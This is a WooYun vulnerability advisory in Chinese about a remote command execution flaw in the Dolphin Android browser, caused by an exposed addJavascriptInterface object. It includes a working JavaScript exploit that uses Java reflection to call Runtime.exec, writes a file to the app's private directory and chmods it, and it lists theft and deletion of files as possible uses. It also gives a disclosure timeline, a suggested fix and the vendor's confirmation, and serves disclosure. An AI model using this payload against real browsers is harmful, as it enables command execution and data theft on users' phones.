当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035576

漏洞标题:海豚手机浏览器存在远程命令执行漏洞

相关厂商:海豚浏览器

漏洞作者: 撸人甲

提交时间:2013-09-02 18:44

修复时间:2013-12-01 18:45

公开时间:2013-12-01 18:45

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-02: 细节已通知厂商并且等待厂商处理中
2013-09-02: 厂商已经确认,细节仅向厂商公开
2013-09-05: 细节向第三方安全合作伙伴开放
2013-10-27: 细节向核心白帽子及相关领域专家公开
2013-11-06: 细节向普通白帽子公开
2013-11-16: 细节向实习白帽子公开
2013-12-01: 细节向公众公开

简要描述:

海豚手机浏览器存在远程命令执行漏洞(js代码执行系统命令)

详细说明:

漏洞存在于海豚浏览器中,不需要root即可,addJavascriptInterface导出多处。
addJavascriptInterface导出到js中使用java类,可以反射导致命令执行等等利用
海豚浏览器,反编译后com/dolphin/browser/extension/RSSChecker.smali中,存在

const-string/jumbo v1, "dolphinRSSChecker"
invoke-interface {p1, v0, v1}, Lcom/dolphin/browser/core/IWebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V


这里使用导出的dolphinRSSChecker,还有其他导出到js的java类也可以使用,海豚浏览器导出了多处,都注意下吧。
构造exploit部分内容如下:(html文件)

<script>
function execute(cmdArgs)
{
alert(typeof(dolphinRSSChecker));
return dolphinRSSChecker.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

var content = "\\xff\\xff";
var pathcontent = "/data/data/com.dolphin.browser.xf/files/neirong";
execute(["/system/bin/sh","-c","echo '"+content+"' > " + pathcontent]);
execute(["chmod","755",pathcontent]);
//execute([patharm,"f",upload]);
</script>

漏洞证明:

构造上述内容调用后可以执行命令,可以做很多事情,例如上传sd卡文件,上传私有目录下的可读文件、删除文件等等。
访问带有测试js代码的网站

3.png


利用系统bash直接echo一个wooyun文件

1.png


2.png


成功,证明可以执行系统命令!

修复方案:

限制导出类给js使用,或者对导出要做一些判断,防止恶意使用

版权声明:转载请注明来源 撸人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-09-02 17:39

厂商回复:

确认漏洞存在,正在进行可行的修复评估,谢谢提交人

最新状态:

暂无